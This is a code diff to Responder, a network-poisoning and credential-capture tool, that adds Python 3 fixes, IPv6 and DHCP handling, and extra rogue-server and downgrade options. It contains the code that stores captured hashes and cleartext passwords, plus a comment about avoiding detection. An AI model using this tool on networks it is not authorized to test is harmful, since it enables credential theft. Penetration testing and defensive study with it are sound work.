@ -1,4 +1,5 @@
|
|||
import random, struct, sys
|
||||
import random, struct, sys, os
|
||||
from os import urandom
|
||||
from socket import *
|
||||
from time import sleep
|
||||
from odict import OrderedDict
|
||||
|
@ -11,7 +12,7 @@ else:
|
|||
|
||||
def StructWithLenPython2or3(endian,data):
|
||||
#Python2...
|
||||
if PY2OR3 is "PY2":
|
||||
if PY2OR3 == "PY2":
|
||||
return struct.pack(endian, data)
|
||||
#Python3...
|
||||
else:
|
||||
|
@ -522,7 +523,7 @@ class SMBv2Negotiate(Packet):
|
|||
("SecurityMode", "\x01\x00"),
|
||||
("Reserved","\x00\x00"),
|
||||
("Capabilities","\x00\x00\x00\x00"),
|
||||
("ClientGUID","\xd5\xa1\x5f\x6e\x9a\x75\xe1\x11\x87\x82\x00\x01\x4a\xf1\x18\xee"),
|
||||
("ClientGUID", urandom(16).decode('latin-1')),
|
||||
("ClientStartTime","\x00\x00\x00\x00\x00\x00\x00\x00"),
|
||||
("Dialect1","\x02\x02"),
|
||||
("Dialect2","\x10\x02"),
|
||||
|
|
|
@ -47,20 +47,20 @@ SMB1 = "Enabled"
|
|||
|
||||
def StructWithLenPython2or3(endian,data):
|
||||
#Python2...
|
||||
if PY2OR3 is "PY2":
|
||||
if PY2OR3 == "PY2":
|
||||
return struct.pack(endian, data)
|
||||
#Python3...
|
||||
else:
|
||||
return struct.pack(endian, data).decode('latin-1')
|
||||
|
||||
def NetworkSendBufferPython2or3(data):
|
||||
if PY2OR3 is "PY2":
|
||||
if PY2OR3 == "PY2":
|
||||
return str(data)
|
||||
else:
|
||||
return bytes(str(data), 'latin-1')
|
||||
|
||||
def NetworkRecvBufferPython2or3(data):
|
||||
if PY2OR3 is "PY2":
|
||||
if PY2OR3 == "PY2":
|
||||
return str(data)
|
||||
else:
|
||||
return str(data.decode('latin-1'))
|
||||
|
@ -152,7 +152,7 @@ def color(txt, code = 1, modifier = 0):
|
|||
return "\033[%d;3%dm%s\033[0m" % (modifier, code, txt)
|
||||
|
||||
def IsSigningEnabled(data):
|
||||
if data[39] == "\x0f":
|
||||
if data[39:40] == b"\x0f":
|
||||
return True
|
||||
else:
|
||||
return False
|
||||
|
|
|
@ -3,7 +3,10 @@ try:
|
|||
from UserDict import DictMixin
|
||||
except ImportError:
|
||||
from collections import UserDict
|
||||
from collections import MutableMapping as DictMixin
|
||||
try:
|
||||
from collections import MutableMapping as DictMixin
|
||||
except ImportError:
|
||||
from collections.abc import MutableMapping as DictMixin
|
||||
|
||||
class OrderedDict(dict, DictMixin):
|
||||
|
||||
|
|
|
@ -3,7 +3,10 @@ try:
|
|||
from UserDict import DictMixin
|
||||
except ImportError:
|
||||
from collections import UserDict
|
||||
from collections import MutableMapping as DictMixin
|
||||
try:
|
||||
from collections import MutableMapping as DictMixin
|
||||
except ImportError:
|
||||
from collections.abc import MutableMapping as DictMixin
|
||||
|
||||
class OrderedDict(dict, DictMixin):
|
||||
|
||||
|
|
201
utils.py
201
utils.py
|
@ -24,8 +24,29 @@ import settings
|
|||
import datetime
|
||||
import codecs
|
||||
import struct
|
||||
import random
|
||||
try:
|
||||
import netifaces
|
||||
except:
|
||||
sys.exit('You need to install python-netifaces or run Responder with python3...\nTry "apt-get install python-netifaces" or "pip install netifaces"')
|
||||
|
||||
try:
|
||||
import aioquic
|
||||
except:
|
||||
sys.exit('You need to install aioquic...\nTry "apt-get install python-aioquic" or "pip install aioquic"')
|
||||
|
||||
from calendar import timegm
|
||||
|
||||
def if_nametoindex2(name):
|
||||
if settings.Config.PY2OR3 == "PY2":
|
||||
import ctypes
|
||||
import ctypes.util
|
||||
libc = ctypes.CDLL(ctypes.util.find_library('c'))
|
||||
ret = libc.if_nametoindex(name)
|
||||
return ret
|
||||
else:
|
||||
return socket.if_nametoindex(settings.Config.Interface)
|
||||
|
||||
def RandomChallenge():
|
||||
if settings.Config.PY2OR3 == "PY3":
|
||||
if settings.Config.NumChal == "random":
|
||||
|
@ -106,7 +127,10 @@ def RespondToThisIP(ClientIp):
|
|||
return False
|
||||
|
||||
def RespondToThisName(Name):
|
||||
if settings.Config.RespondToName and Name.upper() not in settings.Config.RespondToName:
|
||||
|
||||
if [i for i in settings.Config.DontRespondToTLD if Name.upper().endswith(i)]:
|
||||
return False
|
||||
elif settings.Config.RespondToName and Name.upper() not in settings.Config.RespondToName:
|
||||
return False
|
||||
elif Name.upper() in settings.Config.RespondToName or settings.Config.RespondToName == []:
|
||||
if Name.upper() not in settings.Config.DontRespondToName:
|
||||
|
@ -128,6 +152,31 @@ def RespondWithIPAton():
|
|||
else:
|
||||
return settings.Config.IP_aton.decode('latin-1')
|
||||
|
||||
def RespondWithIPPton():
|
||||
if settings.Config.PY2OR3 == "PY2":
|
||||
if settings.Config.ExternalIP6:
|
||||
return settings.Config.ExternalIP6Pton
|
||||
else:
|
||||
return settings.Config.IP_Pton6
|
||||
else:
|
||||
if settings.Config.ExternalIP6:
|
||||
return settings.Config.ExternalIP6Pton.decode('latin-1')
|
||||
else:
|
||||
return settings.Config.IP_Pton6.decode('latin-1')
|
||||
|
||||
def RespondWithIP():
|
||||
if settings.Config.ExternalIP:
|
||||
return settings.Config.ExternalIP
|
||||
else:
|
||||
return settings.Config.Bind_To
|
||||
|
||||
def RespondWithIP6():
|
||||
if settings.Config.ExternalIP6:
|
||||
return settings.Config.ExternalIP6
|
||||
else:
|
||||
return settings.Config.Bind_To6
|
||||
|
||||
|
||||
def OsInterfaceIsSupported():
|
||||
if settings.Config.Interface != "Not set":
|
||||
return not IsOsX()
|
||||
|
@ -136,6 +185,16 @@ def OsInterfaceIsSupported():
|
|||
def IsOsX():
|
||||
return sys.platform == "darwin"
|
||||
|
||||
def IsIPv6IP(IP):
|
||||
if IP == None:
|
||||
return False
|
||||
regex = r"(([0-9a-fA-F]{1,4}:){7,7}[0-9a-fA-F]{1,4}|([0-9a-fA-F]{1,4}:){1,7}:|([0-9a-fA-F]{1,4}:){1,6}:[0-9a-fA-F]{1,4}|([0-9a-fA-F]{1,4}:){1,5}(:[0-9a-fA-F]{1,4}){1,2}|([0-9a-fA-F]{1,4}:){1,4}(:[0-9a-fA-F]{1,4}){1,3}|([0-9a-fA-F]{1,4}:){1,3}(:[0-9a-fA-F]{1,4}){1,4}|([0-9a-fA-F]{1,4}:){1,2}(:[0-9a-fA-F]{1,4}){1,5}|[0-9a-fA-F]{1,4}:((:[0-9a-fA-F]{1,4}){1,6})|:((:[0-9a-fA-F]{1,4}){1,7}|:)|fe80:(:[0-9a-fA-F]{0,4}){0,4}%[0-9a-zA-Z]{1,}|::(ffff(:0{1,4}){0,1}:){0,1}((25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])\.){3,3}(25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])|([0-9a-fA-F]{1,4}:){1,4}:((25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])\.){3,3}(25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9]))"
|
||||
ret = re.search(regex, IP)
|
||||
if ret:
|
||||
return True
|
||||
else:
|
||||
return False
|
||||
|
||||
def FindLocalIP(Iface, OURIP):
|
||||
if Iface == 'ALL':
|
||||
return '0.0.0.0'
|
||||
|
@ -143,6 +202,19 @@ def FindLocalIP(Iface, OURIP):
|
|||
try:
|
||||
if IsOsX():
|
||||
return OURIP
|
||||
|
||||
elif IsIPv6IP(OURIP):
|
||||
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
|
||||
s.setsockopt(socket.SOL_SOCKET, 25, str(Iface+'\0').encode('utf-8'))
|
||||
s.connect(("127.0.0.1",9))#RFC 863
|
||||
ret = s.getsockname()[0]
|
||||
s.close()
|
||||
return ret
|
||||
|
||||
|
||||
elif IsIPv6IP(OURIP) == False and OURIP != None:
|
||||
return OURIP
|
||||
|
||||
elif OURIP == None:
|
||||
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
|
||||
s.setsockopt(socket.SOL_SOCKET, 25, str(Iface+'\0').encode('utf-8'))
|
||||
|
@ -150,11 +222,54 @@ def FindLocalIP(Iface, OURIP):
|
|||
ret = s.getsockname()[0]
|
||||
s.close()
|
||||
return ret
|
||||
return OURIP
|
||||
|
||||
except socket.error:
|
||||
print(color("[!] Error: %s: Interface not found" % Iface, 1))
|
||||
sys.exit(-1)
|
||||
|
||||
def Probe_IPv6_socket():
|
||||
"""Return true is IPv6 sockets are really supported, and False when IPv6 is not supported."""
|
||||
if not socket.has_ipv6:
|
||||
return False
|
||||
try:
|
||||
with socket.socket(socket.AF_INET6, socket.SOCK_STREAM) as s:
|
||||
s.bind(("::1", 0))
|
||||
return True
|
||||
except:
|
||||
return False
|
||||
|
||||
def FindLocalIP6(Iface, OURIP):
|
||||
if Iface == 'ALL':
|
||||
return '::'
|
||||
|
||||
try:
|
||||
|
||||
if IsIPv6IP(OURIP) == False:
|
||||
|
||||
try:
|
||||
#Let's make it random so we don't get spotted easily.
|
||||
randIP = "2001:" + ":".join(("%x" % random.randint(0, 16**4) for i in range(7)))
|
||||
s = socket.socket(socket.AF_INET6, socket.SOCK_DGRAM)
|
||||
s.connect((randIP+':80', 1))
|
||||
IP = s.getsockname()[0]
|
||||
return IP
|
||||
except:
|
||||
try:
|
||||
#Try harder; Let's get the local link addr
|
||||
IP = str(netifaces.ifaddresses(Iface)[netifaces.AF_INET6][0]["addr"].replace("%"+Iface, ""))
|
||||
return IP
|
||||
except:
|
||||
IP = '::1'
|
||||
print("[+] You don't have an IPv6 address assigned.")
|
||||
return IP
|
||||
|
||||
else:
|
||||
return OURIP
|
||||
|
||||
except socket.error:
|
||||
print(color("[!] Error: %s: Interface not found" % Iface, 1))
|
||||
sys.exit(-1)
|
||||
|
||||
# Function used to write captured hashs to a file.
|
||||
def WriteData(outfile, data, user):
|
||||
logging.info("[*] Captured Hash: %s" % data)
|
||||
|
@ -210,6 +325,8 @@ def CreateResponderDb():
|
|||
cursor.commit()
|
||||
cursor.execute('CREATE TABLE responder (timestamp TEXT, module TEXT, type TEXT, client TEXT, hostname TEXT, user TEXT, cleartext TEXT, hash TEXT, fullhash TEXT)')
|
||||
cursor.commit()
|
||||
cursor.execute('CREATE TABLE DHCP (timestamp TEXT, MAC TEXT, IP TEXT, RequestedIP TEXT)')
|
||||
cursor.commit()
|
||||
cursor.close()
|
||||
|
||||
def SaveToDb(result):
|
||||
|
@ -217,7 +334,7 @@ def SaveToDb(result):
|
|||
for k in [ 'module', 'type', 'client', 'hostname', 'user', 'cleartext', 'hash', 'fullhash' ]:
|
||||
if not k in result:
|
||||
result[k] = ''
|
||||
|
||||
result['client'] = result['client'].replace("::ffff:","")
|
||||
if len(result['user']) < 2:
|
||||
print(color('[*] Skipping one character username: %s' % result['user'], 3, 1))
|
||||
text("[*] Skipping one character username: %s" % result['user'])
|
||||
|
@ -237,16 +354,10 @@ def SaveToDb(result):
|
|||
logfile = os.path.join(settings.Config.ResponderPATH, 'logs', fname)
|
||||
|
||||
if not count:
|
||||
with open(logfile,"a") as outf:
|
||||
if len(result['cleartext']): # If we obtained cleartext credentials, write them to file
|
||||
outf.write('%s:%s\n' % (result['user'].encode('utf8', 'replace'), result['cleartext'].encode('utf8', 'replace')))
|
||||
else: # Otherwise, write JtR-style hash string to file
|
||||
outf.write(result['fullhash'] + '\n')#.encode('utf8', 'replace') + '\n')
|
||||
|
||||
cursor.execute("INSERT INTO responder VALUES(datetime('now'), ?, ?, ?, ?, ?, ?, ?, ?)", (result['module'], result['type'], result['client'], result['hostname'], result['user'], result['cleartext'], result['hash'], result['fullhash']))
|
||||
cursor.commit()
|
||||
|
||||
if settings.Config.CaptureMultipleHashFromSameHost:
|
||||
if not count or settings.Config.CaptureMultipleHashFromSameHost:
|
||||
with open(logfile,"a") as outf:
|
||||
if len(result['cleartext']): # If we obtained cleartext credentials, write them to file
|
||||
outf.write('%s:%s\n' % (result['user'].encode('utf8', 'replace'), result['cleartext'].encode('utf8', 'replace')))
|
||||
|
@ -293,7 +404,7 @@ def SavePoisonersToDb(result):
|
|||
for k in [ 'Poisoner', 'SentToIp', 'ForName', 'AnalyzeMode' ]:
|
||||
if not k in result:
|
||||
result[k] = ''
|
||||
|
||||
result['SentToIp'] = result['SentToIp'].replace("::ffff:","")
|
||||
cursor = sqlite3.connect(settings.Config.DatabaseFile)
|
||||
cursor.text_factory = sqlite3.Binary # We add a text factory to support different charsets
|
||||
res = cursor.execute("SELECT COUNT(*) AS count FROM Poisoned WHERE Poisoner=? AND SentToIp=? AND ForName=? AND AnalyzeMode=?", (result['Poisoner'], result['SentToIp'], result['ForName'], result['AnalyzeMode']))
|
||||
|
@ -305,16 +416,37 @@ def SavePoisonersToDb(result):
|
|||
|
||||
cursor.close()
|
||||
|
||||
def SaveDHCPToDb(result):
|
||||
for k in [ 'MAC', 'IP', 'RequestedIP']:
|
||||
if not k in result:
|
||||
result[k] = ''
|
||||
|
||||
cursor = sqlite3.connect(settings.Config.DatabaseFile)
|
||||
cursor.text_factory = sqlite3.Binary # We add a text factory to support different charsets
|
||||
res = cursor.execute("SELECT COUNT(*) AS count FROM DHCP WHERE MAC=? AND IP=? AND RequestedIP=?", (result['MAC'], result['IP'], result['RequestedIP']))
|
||||
(count,) = res.fetchone()
|
||||
|
||||
if not count:
|
||||
cursor.execute("INSERT INTO DHCP VALUES(datetime('now'), ?, ?, ?)", (result['MAC'], result['IP'], result['RequestedIP']))
|
||||
cursor.commit()
|
||||
|
||||
cursor.close()
|
||||
|
||||
def Parse_IPV6_Addr(data):
|
||||
if data[len(data)-4:len(data)][1] ==b'\x1c':
|
||||
return False
|
||||
if data[len(data)-4:len(data)] == b'\x00\x1c\x00\x01':
|
||||
return 'IPv6'
|
||||
elif data[len(data)-4:len(data)] == b'\x00\x01\x00\x01':
|
||||
return True
|
||||
elif data[len(data)-4:len(data)] == b'\x00\xff\x00\x01':
|
||||
return True
|
||||
return False
|
||||
|
||||
def IsIPv6(data):
|
||||
if "::ffff:" in data:
|
||||
return False
|
||||
else:
|
||||
return True
|
||||
|
||||
def Decode_Name(nbname): #From http://code.google.com/p/dpkt/ with author's permission.
|
||||
try:
|
||||
from string import printable
|
||||
|
@ -353,22 +485,20 @@ def banner():
|
|||
])
|
||||
|
||||
print(banner)
|
||||
print("\n \033[1;33mNBT-NS, LLMNR & MDNS %s\033[0m" % settings.__version__)
|
||||
print('')
|
||||
print(" Author: Laurent Gaffie (laurent.gaffie@gmail.com)")
|
||||
print(" To kill this script hit CTRL-C")
|
||||
print('')
|
||||
|
||||
|
||||
def StartupMessage():
|
||||
enabled = color('[ON]', 2, 1)
|
||||
disabled = color('[OFF]', 1, 1)
|
||||
|
||||
print(color("[*] ", 2, 1)+"Sponsor Responder: https://paypal.me/PythonResponder")
|
||||
print('')
|
||||
print(color("[+] ", 2, 1) + "Poisoners:")
|
||||
print(' %-27s' % "LLMNR" + enabled)
|
||||
print(' %-27s' % "NBT-NS" + enabled)
|
||||
print(' %-27s' % "DNS/MDNS" + enabled)
|
||||
print(' %-27s' % "LLMNR" + (enabled if (settings.Config.AnalyzeMode == False and settings.Config.LLMNR_On_Off) else disabled))
|
||||
print(' %-27s' % "NBT-NS" + (enabled if (settings.Config.AnalyzeMode == False and settings.Config.NBTNS_On_Off) else disabled))
|
||||
print(' %-27s' % "MDNS" + (enabled if (settings.Config.AnalyzeMode == False and settings.Config.MDNS_On_Off) else disabled))
|
||||
print(' %-27s' % "DNS" + enabled)
|
||||
print(' %-27s' % "DHCP" + (enabled if settings.Config.DHCP_On_Off else disabled))
|
||||
print('')
|
||||
|
||||
print(color("[+] ", 2, 1) + "Servers:")
|
||||
|
@ -385,7 +515,11 @@ def StartupMessage():
|
|||
print(' %-27s' % "SMTP server" + (enabled if settings.Config.SMTP_On_Off else disabled))
|
||||
print(' %-27s' % "DNS server" + (enabled if settings.Config.DNS_On_Off else disabled))
|
||||
print(' %-27s' % "LDAP server" + (enabled if settings.Config.LDAP_On_Off else disabled))
|
||||
print(' %-27s' % "MQTT server" + (enabled if settings.Config.MQTT_On_Off else disabled))
|
||||
print(' %-27s' % "RDP server" + (enabled if settings.Config.RDP_On_Off else disabled))
|
||||
print(' %-27s' % "DCE-RPC server" + (enabled if settings.Config.DCERPC_On_Off else disabled))
|
||||
print(' %-27s' % "WinRM server" + (enabled if settings.Config.WinRM_On_Off else disabled))
|
||||
print(' %-27s' % "SNMP server" + (enabled if settings.Config.SNMP_On_Off else disabled))
|
||||
print('')
|
||||
|
||||
print(color("[+] ", 2, 1) + "HTTP Options:")
|
||||
|
@ -401,14 +535,19 @@ def StartupMessage():
|
|||
print(' %-27s' % "Force WPAD auth" + (enabled if settings.Config.Force_WPAD_Auth else disabled))
|
||||
print(' %-27s' % "Force Basic Auth" + (enabled if settings.Config.Basic else disabled))
|
||||
print(' %-27s' % "Force LM downgrade" + (enabled if settings.Config.LM_On_Off == True else disabled))
|
||||
print(' %-27s' % "Fingerprint hosts" + (enabled if settings.Config.Finger_On_Off == True else disabled))
|
||||
print(' %-27s' % "Force ESS downgrade" + (enabled if settings.Config.NOESS_On_Off == True or settings.Config.LM_On_Off == True else disabled))
|
||||
print('')
|
||||
|
||||
print(color("[+] ", 2, 1) + "Generic Options:")
|
||||
print(' %-27s' % "Responder NIC" + color('[%s]' % settings.Config.Interface, 5, 1))
|
||||
print(' %-27s' % "Responder IP" + color('[%s]' % settings.Config.Bind_To, 5, 1))
|
||||
print(' %-27s' % "Responder IPv6" + color('[%s]' % settings.Config.Bind_To6, 5, 1))
|
||||
if settings.Config.ExternalIP:
|
||||
print(' %-27s' % "Responder external IP" + color('[%s]' % settings.Config.ExternalIP, 5, 1))
|
||||
if settings.Config.ExternalIP6:
|
||||
print(' %-27s' % "Responder external IPv6" + color('[%s]' % settings.Config.ExternalIP6, 5, 1))
|
||||
|
||||
print(' %-27s' % "Challenge set" + color('[%s]' % settings.Config.NumChal, 5, 1))
|
||||
|
||||
if settings.Config.Upstream_Proxy:
|
||||
print(' %-27s' % "Upstream Proxy" + color('[%s]' % settings.Config.Upstream_Proxy, 5, 1))
|
||||
|
||||
|
@ -420,4 +559,20 @@ def StartupMessage():
|
|||
print(' %-27s' % "Don't Respond To" + color(str(settings.Config.DontRespondTo), 5, 1))
|
||||
if len(settings.Config.DontRespondToName):
|
||||
print(' %-27s' % "Don't Respond To Names" + color(str(settings.Config.DontRespondToName), 5, 1))
|
||||
if len(settings.Config.DontRespondToTLD):
|
||||
print(' %-27s' % "Don't Respond To MDNS TLD" + color(str(settings.Config.DontRespondToTLD), 5, 1))
|
||||
if settings.Config.TTL == None:
|
||||
print(' %-27s' % "TTL for poisoned response "+ color('[default]', 5, 1))
|
||||
else:
|
||||
print(' %-27s' % "TTL for poisoned response" + color(str(settings.Config.TTL.encode().hex()) + " ("+ str(int.from_bytes(str.encode(settings.Config.TTL),"big")) +" seconds)", 5, 1))
|
||||
print('')
|
||||
|
||||
print(color("[+] ", 2, 1) + "Current Session Variables:")
|
||||
print(' %-27s' % "Responder Machine Name" + color('[%s]' % settings.Config.MachineName, 5, 1))
|
||||
print(' %-27s' % "Responder Domain Name" + color('[%s]' % settings.Config.DomainName, 5, 1))
|
||||
print(' %-27s' % "Responder DCE-RPC Port " + color('[%s]' % settings.Config.RPCPort, 5, 1))
|
||||
|
||||
#credits
|
||||
print('')
|
||||
print(color("[*] ", 2, 1)+"Version: "+settings.__version__)
|
||||
print(color("[*] ", 2, 1)+"Author: Laurent Gaffie, <lgaffie@secorizon.com>")
|
||||
|
|
Loading…
Add table
Add a link
Reference in a new issue